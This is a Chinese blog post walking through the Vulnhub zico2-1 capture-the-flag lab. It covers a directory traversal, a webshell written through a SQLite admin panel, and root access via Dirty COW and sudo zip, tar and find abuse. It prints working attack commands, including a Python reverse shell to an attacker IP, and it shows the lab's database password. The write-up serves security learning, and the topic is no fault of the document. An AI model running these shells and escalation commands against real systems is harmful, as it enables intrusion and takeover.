• 【甄选靶场】Vulnhub百个项目渗透——项目二十八:zico2-1(目录遍历,sqlite数据库写入,脏牛提权)


    Vulnhub百个项目渗透

    Vulnhub百个项目渗透——项目二十八:zico2-1(目录遍历,sqlite数据库写入,脏牛提权)


    🔥系列专栏:Vulnhub百个项目渗透
    🎉欢迎关注🔎点赞👍收藏⭐️留言📝
    📆首发时间:🌴2022年10月1日🌴
    🍭作者水平很有限,如果发现错误,还望告知,感谢!


    前言

    本文章仅用作实验学习,实验环境均为自行搭建的公开vuinhub靶场,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。


    一、梳理流程

    1. 端口发现(看看使用了哪些端口,开启了什么服务,寻找突破点)
    2. 信息收集(利用遍历,关键词搜索等方式对敏感文件,插件尝试访问,寻求突破并获取shell)
    3. 二次收集(基于已得到的服务或者主机再次信息收集)
    4. 内网提权(尝试利用内核,各种版本漏洞等方式来提升权限)
    5. 毁尸灭迹(清除日志等文件,但是靶场就没必要了,拿旗就走)

    二、web突破

    信息收集

    在这里插入图片描述

    发现开启了22可以登录ssh,80一个web,111忽略不计先

    在这里插入图片描述

    这应该是用户名

    在这里插入图片描述

    没啥发现,开扫

    在这里插入图片描述

    目录遍历,利用

    在这里插入图片描述

    目录遍历存在,可行,按照AWVS给出的方法去利用即可

    在这个同时,也用dirb扫一下目录

    locate big.txt
    然后复制上
    dirb http://192.168.247.159 [字典绝对路径]
    忘记复制了,clear了
    
    • 1
    • 2
    • 3
    • 4

    在这里插入图片描述

    可以看到还是有点东西的,vendor啊,这都是以前有过敏感信息泄露的目录,但是最显眼的还要属这个dbadmin了吧
    进去了以后就一个子目录,点一下,就是下面的页面
    弱口令直接进,也没法爆破估计,连正儿八经的web页面都空荡荡的,也没密码本,ctf再怎么样也会有解题方法的

    在这里插入图片描述

    看到了这个版本,就去搜一下

    在这里插入图片描述

    果然,那就看看

    在这里插入图片描述

    最左边先新建一个数据库,然后点击新的数据库,再点右边的红框,随便输,然后go

    在这里插入图片描述

    然后在红框写个一句话

    里面全是一句话

    在这里插入图片描述

    然后就可以看到已经写进去了,接下来就是找目录,才能去执行,我发现左边的红框那个很有可能就是路径,那就实验一下,直接读肯定是不行的(最基本的安全性要有吧。。。)那就顺其自然的想到了之前的目录遍历漏洞,用那个读取然后传参,参数带着命令

    在这里插入图片描述

    成功

    在这里插入图片描述

    nc -vlp 6666
    
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.253.166",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    
    python -c 'import pty; pty.spawn("/bin/bash")'
    
    • 1
    • 2
    • 3
    • 4
    • 5

    三、提权

    信息枚举

    python -m http.server 8082
    wget http://192.168.247.129:8082/linpeas.sh
    wget http://192.168.247.129:8082/les.sh

    chmod +x linpeas.sh
    另一个也赋权
    ./linpeas.sh
    执行就行

    linpeas.sh枚举结果

    在这里插入图片描述
    在这里插入图片描述

    /home/zico/wordpress/wp-config.php
    define('DB_NAME', 'zico');
    define('DB_USER', 'zico');
    define('DB_PASSWORD', 'sWfCsfJSPV9H3AmQzw8');
    define('DB_HOST', 'zico');
    
    • 1
    • 2
    • 3
    • 4
    • 5

    les.sh信息枚举结果

    在这里插入图片描述

    谷歌搜一下,官方数据库中这是利用方法,

    在这里插入图片描述

    拿到了root

    在这里插入图片描述

    别的提权思路

    在我打完的时候习惯性看别的师傅的WP,因为这个很简单,我打的也很快,所以我觉得应该还有别的思路
    他们利用二进制提权,但是我的sudo -l报这个错,用不了,就搬运一下别的师傅
    在这里插入图片描述

    sudo 提权 zip

    ssh zico@192.168.253.174
    sWfCsfJSPV9H3AmQzw8

    sudo -l
    User zico may run the following commands on this host:
    (root) NOPASSWD: /bin/tar
    (root) NOPASSWD: /usr/bin/zip

    二进制:
    https://gtfobins.github.io/gtfobins/zip/
    TF=$(mktemp -u)
    sudo zip $TF /etc/hosts -T -TT ‘sh #’

    或者使用命令:
    使用zip命令中可用的–unzip-command选项在压缩文件时运行bash shell:
    sudo zip /tmp/1.zip /home/zico/dayu -T --unzip-command=“sh -c /bin/bash”

    sudo提权tar

    https://gtfobins.github.io/gtfobins/tar/

    sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash

    tar另外一种用法:

    find提权 (其实这里也是使用了tar进行执行提权,然后转到find,重点是find执行命令提权)
    查看是否存在find命令setuid执行权限:
    find / -perm -4000 2>/dev/null | grep find

    通过tar命令创建find命令具备setuid执行权限:
    cd /tmp
    echo “chmod u+s /usr/bin/find” > shell.sh
    echo “” > “–checkpoint-action=exec=sh shell.sh”
    echo “” > --checkpoint=1 -----创建两个文件,方便通过tar命令将此文件当做命令去执行!
    sudo tar cf archive.tar *

    创建完成确认find命令是否成功被赋予setuid权限:
    find / -perm -4000 2>/dev/null | grep find
    执行find命令开始提权
    find /tmp -exec sh -i ;

  • 相关阅读:
    Git 备忘单—你应该知道的 50 个 Git 命令
    百趣代谢组学资讯:项目文章Nature,揭示低温暴露抑制实体瘤生长机制,‘饿死’癌细胞
    一天梳理完React所有面试考察知识点
    tcpdump 抓包快速上手
    在哪儿比较好下载建筑学西方近现代的外文文献?
    从几次事故引起的对项目质量保障的思考
    Linux:虚拟地址空间,程序和进程,创建并回收子进程,孤儿进程和僵尸进程。为什么要回收子进程?
    新建esp32的vscode工程的三种方式
    直播课堂系统06-搭建项目前端环境
    升级ios16后iphone无法识别SIM?一招解决这个问题!
  • 原文地址:https://blog.csdn.net/weixin_65527369/article/details/127129180